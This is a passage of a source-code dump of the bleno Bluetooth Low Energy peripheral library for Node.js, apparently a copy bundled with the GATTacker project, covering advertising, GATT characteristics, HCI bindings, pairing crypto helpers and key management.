61 | Bleno.prototype.onStateChange = function(state) { 62 | debug('stateChange ' + state); 63 | 64 | this.state = state; 65 | 66 | this.emit('stateChange', state); 67 | }; 68 | 69 | Bleno.prototype.onAddressChange = function(address) { 70 | debug('addressChange ' + address); 71 | 72 | this.address = address; 73 | }; 74 | 75 | Bleno.prototype.onAccept = function(clientAddress) { 76 | debug('accept ' + clientAddress); 77 | this.emit('accept', clientAddress); 78 | }; 79 | 80 | Bleno.prototype.onMtuChange = function(mtu) { 81 | debug('mtu ' + mtu); 82 | 83 | this.mtu = mtu; 84 | 85 | this.emit('mtuChange', mtu); 86 | }; 87 | 88 | Bleno.prototype.onDisconnect = function(clientAddress) { 89 | debug('disconnect' + clientAddress); 90 | this.emit('disconnect', clientAddress); 91 | }; 92 | 93 | Bleno.prototype.startAdvertising = function(name, serviceUuids, callback) { 94 | if (this.state !== 'poweredOn') { 95 | var error = new Error('Could not start advertising, state is ' + this.state + ' (not poweredOn)'); 96 | 97 | if (typeof callback === 'function') { 98 | callback(error); 99 | } else { 100 | throw error; 101 | } 102 | } else { 103 | if (callback) { 104 | this.once('advertisingStart', callback); 105 | } 106 | 107 | var undashedServiceUuids = []; 108 | 109 | if (serviceUuids && serviceUuids.length) { 110 | for (var i = 0; i < serviceUuids.length; i++) { 111 | undashedServiceUuids[i] = UuidUtil.removeDashes(serviceUuids[i]); 112 | } 113 | } 114 | 115 | this._bindings.startAdvertising(name, undashedServiceUuids); 116 | } 117 | }; 118 | 119 | Bleno.prototype.startAdvertisingIBeacon = function(uuid, major, minor, measuredPower, callback) { 120 | if (this.state !== 'poweredOn') { 121 | var error = new Error('Could not start advertising, state is ' + this.state + ' (not poweredOn)'); 122 | 123 | if (typeof callback === 'function') { 124 | callback(error); 125 | } else { 126 | throw error; 127 | } 128 | } else { 129 | var undashedUuid = UuidUtil.removeDashes(uuid); 130 | var uuidData = new Buffer(undashedUuid, 'hex'); 131 | var uuidDataLength = uuidData.length; 132 | var iBeaconData = new Buffer(uuidData.length + 5); 133 | 134 | for (var i = 0; i < uuidDataLength; i++) { 135 | iBeaconData[i] = uuidData[i]; 136 | } 137 | 138 | iBeaconData.writeUInt16BE(major, uuidDataLength); 139 | iBeaconData.writeUInt16BE(minor, uuidDataLength + 2); 140 | iBeaconData.writeInt8(measuredPower, uuidDataLength + 4); 141 | 142 | if (callback) { 143 | this.once('advertisingStart', callback); 144 | } 145 | 146 | debug('iBeacon data = ' + iBeaconData.toString('hex')); 147 | 148 | this._bindings.startAdvertisingIBeacon(iBeaconData); 149 | } 150 | }; 151 | 152 | Bleno.prototype.onAdvertisingStart = function(error) { 153 | debug('advertisingStart: ' + error); 154 | 155 | if (error) { 156 | this.emit('advertisingStartError', error); 157 | } 158 | 159 | this.emit('advertisingStart', error); 160 | }; 161 | 162 | Bleno.prototype.startAdvertisingWithEIRData = function(advertisementData, scanData, callback) { 163 | if (typeof scanData === 'function') { 164 | callback = scanData; 165 | scanData = null; 166 | } 167 | 168 | if (this.state !== 'poweredOn') { 169 | var error = new Error('Could not advertising scanning, state is ' + this.state + ' (not poweredOn)'); 170 | 171 | if (typeof callback === 'function') { 172 | callback(error); 173 | } else { 174 | throw error; 175 | } 176 | } else { 177 | if (callback) { 178 | this.once('advertisingStart', callback); 179 | } 180 | 181 | this._bindings.startAdvertisingWithEIRData(advertisementData, scanData); 182 | } 183 | }; 184 | 185 | Bleno.prototype.stopAdvertising = function(callback) { 186 | if (callback) { 187 | this.once('advertisingStop', callback); 188 | } 189 | this._bindings.stopAdvertising(); 190 | }; 191 | 192 | Bleno.prototype.onAdvertisingStop = function() { 193 | debug('advertisingStop'); 194 | this.emit('advertisingStop'); 195 | }; 196 | 197 | Bleno.prototype.setServices = function(services, callback) { 198 | if (callback) { 199 | this.once('servicesSet', callback); 200 | } 201 | this._bindings.setServices(services); 202 | }; 203 | 204 | Bleno.prototype.onServicesSet = function(error) { 205 | debug('servicesSet'); 206 | 207 | if (error) { 208 | this.emit('servicesSetError', error); 209 | } 210 | 211 | this.emit('servicesSet', error); 212 | }; 213 | 214 | Bleno.prototype.disconnect = function() { 215 | debug('disconnect'); 216 | this._bindings.disconnect(); 217 | }; 218 | 219 | Bleno.prototype.updateRssi = function(callback) { 220 | if (callback) { 221 | this.once('rssiUpdate', function(rssi) { 222 | callback(null, rssi); 223 | }); 224 | } 225 | 226 | this._bindings.updateRssi(); 227 | }; 228 | 229 | Bleno.prototype.onRssiUpdate = function(rssi) { 230 | this.emit('rssiUpdate', rssi); 231 | }; 232 | 233 | module.exports = Bleno; 234 | -------------------------------------------------------------------------------- /lib/bleno/lib/characteristic.js: -------------------------------------------------------------------------------- 1 | var events = require('events'); 2 | var util = require('util'); 3 | 4 | var debug = require('debug')('characteristic'); 5 | 6 | var UuidUtil = require('./uuid-util'); 7 | 8 | function Characteristic(options) { 9 | this.uuid = UuidUtil.removeDashes(options.uuid); 10 | this.properties = options.properties || []; 11 | this.secure = options.secure || []; 12 | this.value = options.value || null; 13 | this.descriptors = options.descriptors || []; 14 | //GATTacker 15 | this.valueHandle = options.valueHandle || null; 16 | this.startHandle = options.startHandle || null; 17 | this.serviceUuid = options.serviceUuid || null; 18 | 19 | if (options.onReadRequest) { 20 | this.onReadRequest = options.onReadRequest; 21 | } 22 | 23 | if (options.onWriteRequest) { 24 | this.onWriteRequest = options.onWriteRequest; 25 | } 26 | 27 | if (options.onSubscribe) { 28 | this.onSubscribe = options.onSubscribe; 29 | } 30 | 31 | if (options.onUnsubscribe) { 32 | this.onUnsubscribe = options.onUnsubscribe; 33 | } 34 | 35 | if (options.onNotify) { 36 | this.onNotify = options.onNotify; 37 | } 38 | 39 | if (options.onIndicate) { 40 | this.onIndicate = options.onIndicate; 41 | } 42 | 43 | this.on('readRequest', this.onReadRequest.bind(this)); 44 | this.on('writeRequest', this.onWriteRequest.bind(this)); 45 | this.on('subscribe', this.onSubscribe.bind(this)); 46 | this.on('unsubscribe', this.onUnsubscribe.bind(this)); 47 | this.on('notify', this.onNotify.bind(this)); 48 | this.on('indicate', this.onIndicate.bind(this)); 49 | } 50 | 51 | util.inherits(Characteristic, events.EventEmitter); 52 | 53 | Characteristic.RESULT_SUCCESS = Characteristic.prototype.RESULT_SUCCESS = 0x00; 54 | Characteristic.RESULT_INVALID_OFFSET = Characteristic.prototype.RESULT_INVALID_OFFSET = 0x07; 55 | Characteristic.RESULT_ATTR_NOT_LONG = Characteristic.prototype.RESULT_ATTR_NOT_LONG = 0x0b; 56 | Characteristic.RESULT_INVALID_ATTRIBUTE_LENGTH = Characteristic.prototype.RESULT_INVALID_ATTRIBUTE_LENGTH = 0x0d; 57 | Characteristic.RESULT_UNLIKELY_ERROR = Characteristic.prototype.RESULT_UNLIKELY_ERROR = 0x0e; 58 | 59 | Characteristic.prototype.toString = function() { 60 | return JSON.stringify({ 61 | uuid: this.uuid, 62 | properties: this.properties, 63 | secure: this.secure, 64 | value: this.value, 65 | descriptors: this.descriptors 66 | }); 67 | }; 68 | 69 | Characteristic.prototype.onReadRequest = function(offset, callback) { 70 | callback(this.RESULT_UNLIKELY_ERROR, null); 71 | }; 72 | 73 | Characteristic.prototype.onWriteRequest = function(data, offset, withoutResponse, callback) { 74 | callback(this.RESULT_UNLIKELY_ERROR); 75 | }; 76 | 77 | Characteristic.prototype.onSubscribe = function(maxValueSize, updateValueCallback) { 78 | this.maxValueSize = maxValueSize; 79 | this.updateValueCallback = updateValueCallback; 80 | }; 81 | 82 | Characteristic.prototype.onUnsubscribe = function() { 83 | this.maxValueSize = null; 84 | this.updateValueCallback = null; 85 | }; 86 | 87 | Characteristic.prototype.onNotify = function() { 88 | }; 89 | 90 | Characteristic.prototype.onIndicate = function() { 91 | }; 92 | 93 | module.exports = Characteristic; 94 | -------------------------------------------------------------------------------- /lib/bleno/lib/descriptor.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('descriptor'); 2 | 3 | var UuidUtil = require('./uuid-util'); 4 | 5 | function Descriptor(options) { 6 | this.uuid = UuidUtil.removeDashes(options.uuid); 7 | this.value = options.value || new Buffer(0); 8 | } 9 | 10 | Descriptor.prototype.toString = function() { 11 | return JSON.stringify({ 12 | uuid: this.uuid, 13 | value: Buffer.isBuffer(this.value) ? this.value.toString('hex') : this.value 14 | }); 15 | }; 16 | 17 | module.exports = Descriptor; 18 | -------------------------------------------------------------------------------- /lib/bleno/lib/hci-socket/acl-stream.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('acl-att-stream'); 2 | 3 | var events = require('events'); 4 | var util = require('util'); 5 | 6 | var crypto = require('./crypto'); 7 | var Smp = require('./smp'); 8 | 9 | var AclStream = function(hci, handle, localAddressType, localAddress, remoteAddressType, remoteAddress) { 10 | this._hci = hci; 11 | this._handle = handle; 12 | this.encypted = false; 13 | 14 | this._smp = new Smp(this, localAddressType, localAddress, remoteAddressType, remoteAddress); 15 | }; 16 | 17 | util.inherits(AclStream, events.EventEmitter); 18 | 19 | 20 | AclStream.prototype.write = function(cid, data) { 21 | this._hci.writeAclDataPkt(this._handle, cid, data); 22 | }; 23 | 24 | AclStream.prototype.push = function(cid, data) { 25 | if (data) { 26 | this.emit('data', cid, data); 27 | } else { 28 | this.emit('end'); 29 | } 30 | }; 31 | 32 | AclStream.prototype.pushEncrypt = function(encrypt) { 33 | this.encrypted = encrypt ? true : false; 34 | 35 | this.emit('encryptChange', this.encrypted); 36 | }; 37 | 38 | AclStream.prototype.pushLtkNegReply = function() { 39 | this.emit('ltkNegReply'); 40 | }; 41 | 42 | module.exports = AclStream; 43 | -------------------------------------------------------------------------------- /lib/bleno/lib/hci-socket/bindings.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('bindings'); 2 | 3 | var events = require('events'); 4 | var util = require('util'); 5 | var os = require('os'); 6 | 7 | var AclStream = require('./acl-stream'); 8 | var Hci = require('./hci'); 9 | var Gap = require('./gap'); 10 | var Gatt = require('./gatt'); 11 | 12 | var BlenoBindings = function() { 13 | this._state = null; 14 | 15 | this._advertising = false; 16 | 17 | this._hci = new Hci(); 18 | this._gap = new Gap(this._hci); 19 | this._gatt = new Gatt(this._hci); 20 | 21 | this._address = null; 22 | this._handle = null; 23 | this._aclStream = null; 24 | }; 25 | 26 | util.inherits(BlenoBindings, events.EventEmitter); 27 | 28 | BlenoBindings.prototype.startAdvertising = function(name, serviceUuids) { 29 | this._advertising = true; 30 | 31 | this._gap.startAdvertising(name, serviceUuids); 32 | }; 33 | 34 | BlenoBindings.prototype.startAdvertisingIBeacon = function(data) { 35 | this._advertising = true; 36 | 37 | this._gap.startAdvertisingIBeacon(data); 38 | }; 39 | 40 | BlenoBindings.prototype.startAdvertisingWithEIRData = function(advertisementData, scanData) { 41 | this._advertising = true; 42 | 43 | this._gap.startAdvertisingWithEIRData(advertisementData, scanData); 44 | }; 45 | 46 | BlenoBindings.prototype.stopAdvertising = function() { 47 | this._advertising = false; 48 | 49 | this._gap.stopAdvertising(); 50 | }; 51 | 52 | BlenoBindings.prototype.setServices = function(services) { 53 | this._gatt.setServices(services); 54 | 55 | this.emit('servicesSet'); 56 | }; 57 | 58 | BlenoBindings.prototype.disconnect = function() { 59 | if (this._handle) { 60 | debug('disconnect by server'); 61 | 62 | this._hci.disconnect(this._handle); 63 | } 64 | }; 65 | 66 | BlenoBindings.prototype.updateRssi = function() { 67 | if (this._handle) { 68 | this._hci.readRssi(this._handle); 69 | } 70 | }; 71 | 72 | BlenoBindings.prototype.init = function() { 73 | this.onSigIntBinded = this.onSigInt.bind(this); 74 | 75 | process.on('SIGINT', this.onSigIntBinded); 76 | process.on('exit', this.onExit.bind(this)); 77 | 78 | this._gap.on('advertisingStart', this.onAdvertisingStart.bind(this)); 79 | this._gap.on('advertisingStop', this.onAdvertisingStop.bind(this)); 80 | 81 | this._gatt.on('mtu', this.onMtu.bind(this)); 82 | 83 | this._hci.on('stateChange', this.onStateChange.bind(this)); 84 | this._hci.on('addressChange', this.onAddressChange.bind(this)); 85 | this._hci.on('readLocalVersion', this.onReadLocalVersion.bind(this)); 86 | 87 | this._hci.on('leConnComplete', this.onLeConnComplete.bind(this)); 88 | this._hci.on('leConnUpdateComplete', this.onLeConnUpdateComplete.bind(this)); 89 | this._hci.on('rssiRead', this.onRssiRead.bind(this)); 90 | this._hci.on('disconnComplete', this.onDisconnComplete.bind(this)); 91 | this._hci.on('encryptChange', this.onEncryptChange.bind(this)); 92 | this._hci.on('leLtkNegReply', this.onLeLtkNegReply.bind(this)); 93 | this._hci.on('aclDataPkt', this.onAclDataPkt.bind(this)); 94 | 95 | this.emit('platform', os.platform()); 96 | 97 | this._hci.init(); 98 | }; 99 | 100 | BlenoBindings.prototype.onStateChange = function(state) { 101 | if (this._state === state) { 102 | return; 103 | } 104 | this._state = state; 105 | 106 | if (state === 'unauthorized') { 107 | console.log('bleno warning: adapter state unauthorized, please run as root or with sudo'); 108 | console.log(' or see README for information on running without root/sudo:'); 109 | console.log(' https://github.com/sandeepmistry/bleno#running-on-linux'); 110 | } else if (state === 'unsupported') { 111 | console.log('bleno warning: adapter does not support Bluetooth Low Energy (BLE, Bluetooth Smart).'); 112 | console.log(' Try to run with environment variable:'); 113 | console.log(' [sudo] BLENO_HCI_DEVICE_ID=x node ...'); 114 | } 115 | 116 | this.emit('stateChange', state); 117 | }; 118 | 119 | BlenoBindings.prototype.onAddressChange = function(address) { 120 | this.emit('addressChange', address); 121 | }; 122 | 123 | BlenoBindings.prototype.onReadLocalVersion = function(hciVer, hciRev, lmpVer, manufacturer, lmpSubVer) { 124 | if (manufacturer === 93) { 125 | // Realtek Semiconductor Corporation 126 | this._gatt.maxMtu = 23; 127 | } 128 | }; 129 | 130 | BlenoBindings.prototype.onAdvertisingStart = function(error) { 131 | this.emit('advertisingStart', error); 132 | }; 133 | 134 | BlenoBindings.prototype.onAdvertisingStop = function() { 135 | this.emit('advertisingStop'); 136 | }; 137 | 138 | BlenoBindings.prototype.onLeConnComplete = function(status, handle, role, addressType, address, interval, latency, supervisionTimeout, masterClockAccuracy) { 139 | if (role !== 1) { 140 | // not slave, ignore 141 | return; 142 | } 143 | 144 | this._address = address; 145 | this._handle = handle; 146 | this._aclStream = new AclStream(this._hci, handle, this._hci.addressType, this._hci.address, addressType, address); 147 | this._gatt.setAclStream(this._aclStream); 148 | 149 | this.emit('accept', address); 150 | }; 151 | 152 | BlenoBindings.prototype.onLeConnUpdateComplete = function(handle, interval, latency, supervisionTimeout) { 153 | // no-op 154 | }; 155 | 156 | BlenoBindings.prototype.onDisconnComplete = function(handle, reason) { 157 | if (this._aclStream) { 158 | this._aclStream.push(null, null); 159 | } 160 | 161 | var address = this._address; 162 | 163 | this._address = null; 164 | this._handle = null; 165 | this._aclStream = null; 166 | 167 | if (address) { 168 | this.emit('disconnect', address); // TODO: use reason 169 | } 170 | 171 | if (this._advertising) { 172 | this._gap.restartAdvertising(); 173 | } 174 | }; 175 | 176 | BlenoBindings.prototype.onEncryptChange = function(handle, encrypt) { 177 | if (this._handle === handle && this._aclStream) { 178 | this._aclStream.pushEncrypt(encrypt); 179 | } 180 | }; 181 | 182 | BlenoBindings.prototype.onLeLtkNegReply = function(handle) { 183 | if (this._handle === handle && this._aclStream) { 184 | this._aclStream.pushLtkNegReply(); 185 | } 186 | }; 187 | 188 | BlenoBindings.prototype.onMtu = function(address, mtu) { 189 | this.emit('mtuChange', mtu); 190 | }; 191 | 192 | BlenoBindings.prototype.onRssiRead = function(handle, rssi) { 193 | this.emit('rssiUpdate', rssi); 194 | }; 195 | 196 | BlenoBindings.prototype.onAclDataPkt = function(handle, cid, data) { 197 | if (this._handle === handle && this._aclStream) { 198 | this._aclStream.push(cid, data); 199 | } 200 | }; 201 | 202 | BlenoBindings.prototype.onSigInt = function() { 203 | var sigIntListeners = process.listeners('SIGINT'); 204 | 205 | if (sigIntListeners[sigIntListeners.length - 1] === this.onSigIntBinded) { 206 | // we are the last listener, so exit 207 | // this will trigger onExit, and clean up 208 | process.exit(1); 209 | } 210 | }; 211 | 212 | BlenoBindings.prototype.onExit = function() { 213 | this._gap.stopAdvertising(); 214 | 215 | this.disconnect(); 216 | }; 217 | 218 | module.exports = new BlenoBindings(); 219 | -------------------------------------------------------------------------------- /lib/bleno/lib/hci-socket/crypto.js: -------------------------------------------------------------------------------- 1 | var crypto = require('crypto'); 2 | 3 | function r() { 4 | return crypto.randomBytes(16); 5 | } 6 | 7 | function c1(k, r, pres, preq, iat, ia, rat, ra) { 8 | var p1 = Buffer.concat([ 9 | iat, 10 | rat, 11 | preq, 12 | pres 13 | ]); 14 | 15 | var p2 = Buffer.concat([ 16 | ra, 17 | ia, 18 | new Buffer('00000000', 'hex') 19 | ]); 20 | 21 | var res = xor(r, p1); 22 | res = e(k, res); 23 | res = xor(res, p2); 24 | res = e(k, res); 25 | 26 | return res; 27 | } 28 | 29 | function s1(k, r1, r2) { 30 | return e(k, Buffer.concat([ 31 | r2.slice(0, 8), 32 | r1.slice(0, 8) 33 | ])); 34 | } 35 | 36 | function e(key, data) { 37 | key = swap(key); 38 | data = swap(data); 39 | 40 | var cipher = crypto.createCipheriv('aes-128-ecb', key, ''); 41 | cipher.setAutoPadding(false); 42 | 43 | return swap(Buffer.concat([ 44 | cipher.update(data), 45 | cipher.final() 46 | ])); 47 | } 48 | 49 | function xor(b1, b2) { 50 | var result = new Buffer(b1.length); 51 | 52 | for (var i = 0; i < b1.length; i++) { 53 | result[i] = b1[i] ^ b2[i]; 54 | } 55 | 56 | return result; 57 | } 58 | 59 | function swap(input) { 60 | var output = new Buffer(input.length); 61 | 62 | for (var i = 0; i < output.length; i++) { 63 | output[i] = input[input.length - i - 1]; 64 | } 65 | 66 | return output; 67 | } 68 | 69 | module.exports = { 70 | r: r, 71 | c1: c1, 72 | s1: s1, 73 | e: e 74 | }; 75 | -------------------------------------------------------------------------------- /lib/bleno/lib/hci-socket/gap.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('gap'); 2 | 3 | var events = require('events'); 4 | var os = require('os'); 5 | var util = require('util'); 6 | 7 | var Hci = require('./hci'); 8 | 9 | var isLinux = (os.platform() === 'linux'); 10 | var isIntelEdison = isLinux && (os.release().indexOf('edison') !== -1); 11 | var isYocto = isLinux && (os.release().indexOf('yocto') !== -1); 12 | 13 | function Gap(hci) { 14 | this._hci = hci; 15 | 16 | this._advertiseState = null; 17 | 18 | this._hci.on('error', this.onHciError.bind(this)); 19 | 20 | this._hci.on('leAdvertisingParametersSet', this.onHciLeAdvertisingParametersSet.bind(this)); 21 | this._hci.on('leAdvertisingDataSet', this.onHciLeAdvertisingDataSet.bind(this)); 22 | this._hci.on('leScanResponseDataSet', this.onHciLeScanResponseDataSet.bind(this)); 23 | this._hci.on('leAdvertiseEnableSet', this.onHciLeAdvertiseEnableSet.bind(this)); 24 | } 25 | 26 | util.inherits(Gap, events.EventEmitter); 27 | 28 | Gap.prototype.startAdvertising = function(name, serviceUuids) { 29 | debug('startAdvertising: name = ' + name + ', serviceUuids = ' + JSON.stringify(serviceUuids, null, 2)); 30 | 31 | var advertisementDataLength = 3; 32 | var scanDataLength = 0; 33 | 34 | var serviceUuids16bit = []; 35 | var serviceUuids128bit = []; 36 | var i = 0; 37 | 38 | if (name && name.length) { 39 | scanDataLength += 2 + name.length; 40 | } 41 | 42 | if (serviceUuids && serviceUuids.length) { 43 | for (i = 0; i < serviceUuids.length; i++) { 44 | var serviceUuid = new Buffer(serviceUuids[i].match(/.{1,2}/g).reverse().join(''), 'hex'); 45 | 46 | if (serviceUuid.length === 2) { 47 | serviceUuids16bit.push(serviceUuid); 48 | } else if (serviceUuid.length === 16) { 49 | serviceUuids128bit.push(serviceUuid); 50 | } 51 | } 52 | } 53 | 54 | if (serviceUuids16bit.length) { 55 | advertisementDataLength += 2 + 2 * serviceUuids16bit.length; 56 | } 57 | 58 | if (serviceUuids128bit.length) { 59 | advertisementDataLength += 2 + 16 * serviceUuids128bit.length; 60 | } 61 | 62 | var advertisementData = new Buffer(advertisementDataLength); 63 | var scanData = new Buffer(scanDataLength); 64 | 65 | // flags 66 | advertisementData.writeUInt8(2, 0); 67 | advertisementData.writeUInt8(0x01, 1); 68 | advertisementData.writeUInt8(0x06, 2); 69 | 70 | var advertisementDataOffset = 3; 71 | 72 | if (serviceUuids16bit.length) { 73 | advertisementData.writeUInt8(1 + 2 * serviceUuids16bit.length, advertisementDataOffset); 74 | advertisementDataOffset++; 75 | 76 | advertisementData.writeUInt8(0x03, advertisementDataOffset); 77 | advertisementDataOffset++; 78 | 79 | for (i = 0; i < serviceUuids16bit.length; i++) { 80 | serviceUuids16bit[i].copy(advertisementData, advertisementDataOffset); 81 | advertisementDataOffset += serviceUuids16bit[i].length; 82 | } 83 | } 84 | 85 | if (serviceUuids128bit.length) { 86 | advertisementData.writeUInt8(1 + 16 * serviceUuids128bit.length, advertisementDataOffset); 87 | advertisementDataOffset++; 88 | 89 | advertisementData.writeUInt8(0x06, advertisementDataOffset); 90 | advertisementDataOffset++; 91 | 92 | for (i = 0; i < serviceUuids128bit.length; i++) { 93 | serviceUuids128bit[i].copy(advertisementData, advertisementDataOffset); 94 | advertisementDataOffset += serviceUuids128bit[i].length; 95 | } 96 | } 97 | 98 | // name 99 | if (name && name.length) { 100 | var nameBuffer = new Buffer(name); 101 | 102 | scanData.writeUInt8(1 + nameBuffer.length, 0); 103 | scanData.writeUInt8(0x08, 1); 104 | nameBuffer.copy(scanData, 2); 105 | } 106 | 107 | this.startAdvertisingWithEIRData(advertisementData, scanData); 108 | }; 109 | 110 | 111 | Gap.prototype.startAdvertisingIBeacon = function(data) { 112 | debug('startAdvertisingIBeacon: data = ' + data.toString('hex')); 113 | 114 | var dataLength = data.length; 115 | var manufacturerDataLength = 4 + dataLength; 116 | var advertisementDataLength = 5 + manufacturerDataLength; 117 | var scanDataLength = 0; 118 | 119 | var advertisementData = new Buffer(advertisementDataLength); 120 | var scanData = new Buffer(0); 121 | 122 | // flags 123 | advertisementData.writeUInt8(2, 0); 124 | advertisementData.writeUInt8(0x01, 1); 125 | advertisementData.writeUInt8(0x06, 2); 126 | 127 | advertisementData.writeUInt8(manufacturerDataLength + 1, 3); 128 | advertisementData.writeUInt8(0xff, 4); 129 | advertisementData.writeUInt16LE(0x004c, 5); // Apple Company Identifier LE (16 bit) 130 | advertisementData.writeUInt8(0x02, 7); // type, 2 => iBeacon 131 | advertisementData.writeUInt8(dataLength, 8); 132 | 133 | data.copy(advertisementData, 9); 134 | 135 | this.startAdvertisingWithEIRData(advertisementData, scanData); 136 | }; 137 | 138 | Gap.prototype.startAdvertisingWithEIRData = function(advertisementData, scanData) { 139 | advertisementData = advertisementData || new Buffer(0); 140 | scanData = scanData || new Buffer(0); 141 | 142 | debug('startAdvertisingWithEIRData: advertisement data = ' + advertisementData.toString('hex') + ', scan data = ' + scanData.toString('hex')); 143 | 144 | var error = null; 145 | 146 | if (advertisementData.length > 31) { 147 | error = new Error('Advertisement data is over maximum limit of 31 bytes'); 148 | } else if (scanData.length > 31) { 149 | error = new Error('Scan data is over maximum limit of 31 bytes'); 150 | } 151 | 152 | if (error) { 153 | this.emit('advertisingStart', error); 154 | } else { 155 | this._advertiseState = 'starting'; 156 | 157 | if (isIntelEdison || isYocto) { 158 | // work around for Intel Edison 159 | debug('skipping first set of scan response and advertisement data'); 160 | } else { 161 | this._hci.setScanResponseData(scanData); 162 | this._hci.setAdvertisingData(advertisementData); 163 | } 164 | this._hci.setAdvertiseEnable(true); 165 | this._hci.setScanResponseData(scanData); 166 | this._hci.setAdvertisingData(advertisementData); 167 | } 168 | }; 169 | 170 | Gap.prototype.restartAdvertising = function() { 171 | this._advertiseState = 'restarting'; 172 | 173 | this._hci.setAdvertiseEnable(true); 174 | }; 175 | 176 | Gap.prototype.stopAdvertising = function() { 177 | this._advertiseState = 'stopping'; 178 | 179 | this._hci.setAdvertiseEnable(false); 180 | }; 181 | 182 | Gap.prototype.onHciError = function(error) { 183 | }; 184 | 185 | Gap.prototype.onHciLeAdvertisingParametersSet = function(status) { 186 | }; 187 | 188 | Gap.prototype.onHciLeAdvertisingDataSet = function(status) { 189 | }; 190 | 191 | Gap.prototype.onHciLeScanResponseDataSet = function(status) { 192 | }; 193 | 194 | Gap.prototype.onHciLeAdvertiseEnableSet = function(status) { 195 | if (this._advertiseState === 'starting') { 196 | this._advertiseState = 'started'; 197 | 198 | var error = null; 199 | 200 | if (status) { 201 | error = new Error(Hci.STATUS_MAPPER[status] || ('Unknown (' + status + ')')); 202 | } 203 | 204 | this.emit('advertisingStart', error); 205 | } else if (this._advertiseState === 'stopping') { 206 | this._advertiseState = 'stopped'; 207 | 208 | this.emit('advertisingStop'); 209 | } 210 | }; 211 | 212 | module.exports = Gap; 213 | -------------------------------------------------------------------------------- /lib/bleno/lib/hci-socket/hci-status.json: -------------------------------------------------------------------------------- 1 | [ 2 | "Success", 3 | "Unknown HCI Command", 4 | "Unknown Connection Identifier", 5 | "Hardware Failure", 6 | "Page Timeout", 7 | "Authentication Failure", 8 | "PIN or Key Missing", 9 | "Memory Capacity Exceeded", 10 | "Connection Timeout", 11 | "Connection Limit Exceeded", 12 | "Synchronous Connection Limit to a Device Exceeded", 13 | "ACL Connection Already Exists", 14 | "Command Disallowed", 15 | "Connection Rejected due to Limited Resources", 16 | "Connection Rejected due to Security Reasons", 17 | "Connection Rejected due to Unacceptable BD_ADDR", 18 | "Connection Accept Timeout Exceeded", 19 | "Unsupported Feature or Parameter Value", 20 | "Invalid HCI Command Parameters", 21 | "Remote User Terminated Connection", 22 | "Remote Device Terminated due to Low Resources", 23 | "Remote Device Terminated due to Power Off", 24 | "Connection Terminated By Local Host", 25 | "Repeated Attempts", 26 | "Pairing Not Allowed", 27 | "Unknown LMP PDU", 28 | "Unsupported Remote Feature / Unsupported LMP Feature", 29 | "SCO Offset Rejected", 30 | "SCO Interval Rejected", 31 | "SCO Air Mode Rejected", 32 | "Invalid LMP Parameters / Invalid LL Parameters", 33 | "Unspecified Error", 34 | "Unsupported LMP Parameter Value / Unsupported LL Parameter Value", 35 | "Role Change Not Allowed", 36 | "LMP Response Timeout / LL Response Timeout", 37 | "LMP Error Transaction Collision", 38 | "LMP PDU Not Allowed", 39 | "Encryption Mode Not Acceptable", 40 | "Link Key cannot be Changed", 41 | "Requested QoS Not Supported", 42 | "Instant Passed", 43 | "Pairing With Unit Key Not Supported", 44 | "Different Transaction Collision", 45 | "Reserved", 46 | "QoS Unacceptable Parameter", 47 | "QoS Rejected", 48 | "Channel Classification Not Supported", 49 | "Insufficient Security", 50 | "Parameter Out Of Manadatory Range", 51 | "Reserved", 52 | "Role Switch Pending", 53 | "Reserved", 54 | "Reserved Slot Violation", 55 | "Role Switch Failed", 56 | "Extended Inquiry Response Too Large", 57 | "Secure Simple Pairing Not Supported By Host", 58 | "Host Busy - Pairing", 59 | "Connection Rejected due to No Suitable Channel Found", 60 | "Controller Busy", 61 | "Unacceptable Connection Parameters" , 62 | "Directed Advertising Timeout", 63 | "Connection Terminated due to MIC Failure", 64 | "Connection Failed to be Established", 65 | "MAC Connection Failed", 66 | "Coarse Clock Adjustment Rejected but Will Try to Adjust Using Clock Dragging" 67 | ] -------------------------------------------------------------------------------- /lib/bleno/lib/hci-socket/mgmt.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('mgmt'); 2 | 3 | var events = require('events'); 4 | var util = require('util'); 5 | 6 | var BluetoothHciSocket = require('bluetooth-hci-socket'); 7 | 8 | var LTK_INFO_SIZE = 36; 9 | 10 | var MGMT_OP_LOAD_LONG_TERM_KEYS = 0x0013; 11 | 12 | function Mgmt() { 13 | this._socket = new BluetoothHciSocket(); 14 | this._ltkInfos = []; 15 | 16 | this._socket.on('data', this.onSocketData.bind(this)); 17 | this._socket.on('error', this.onSocketError.bind(this)); 18 | 19 | this._socket.bindControl(); 20 | this._socket.start(); 21 | } 22 | 23 | Mgmt.prototype.onSocketData = function(data) { 24 | debug('on data ->' + data.toString('hex')); 25 | }; 26 | 27 | Mgmt.prototype.onSocketError = function(error) { 28 | debug('on error ->' + error.message); 29 | }; 30 | 31 | Mgmt.prototype.addLongTermKey = function(address, addressType, authenticated, master, ediv, rand, key) { 32 | var ltkInfo = new Buffer(LTK_INFO_SIZE); 33 | 34 | address.copy(ltkInfo, 0); 35 | ltkInfo.writeUInt8(addressType.readUInt8(0) + 1, 6); // BDADDR_LE_PUBLIC = 0x01, BDADDR_LE_RANDOM 0x02, so add one 36 | 37 | ltkInfo.writeUInt8(authenticated, 7); 38 | ltkInfo.writeUInt8(master, 8); 39 | ltkInfo.writeUInt8(key.length, 9); 40 | 41 | ediv.copy(ltkInfo, 10); 42 | rand.copy(ltkInfo, 12); 43 | key.copy(ltkInfo, 20); 44 | 45 | this._ltkInfos.push(ltkInfo); 46 | 47 | this.loadLongTermKeys(); 48 | }; 49 | 50 | Mgmt.prototype.clearLongTermKeys = function() { 51 | this._ltkInfos = []; 52 | 53 | this.loadLongTermKeys(); 54 | }; 55 | 56 | Mgmt.prototype.loadLongTermKeys = function() { 57 | var numLongTermKeys = this._ltkInfos.length; 58 | var op = new Buffer(2 + numLongTermKeys * LTK_INFO_SIZE); 59 | 60 | op.writeUInt16LE(numLongTermKeys, 0); 61 | 62 | for (var i = 0; i < numLongTermKeys; i++) { 63 | this._ltkInfos[i].copy(op, 2 + i * LTK_INFO_SIZE); 64 | } 65 | 66 | this.write(MGMT_OP_LOAD_LONG_TERM_KEYS, 0, op); 67 | }; 68 | 69 | Mgmt.prototype.write = function(opcode, index, data) { 70 | var length = 0; 71 | 72 | if (data) { 73 | length = data.length; 74 | } 75 | 76 | var pkt = new Buffer(6 + length); 77 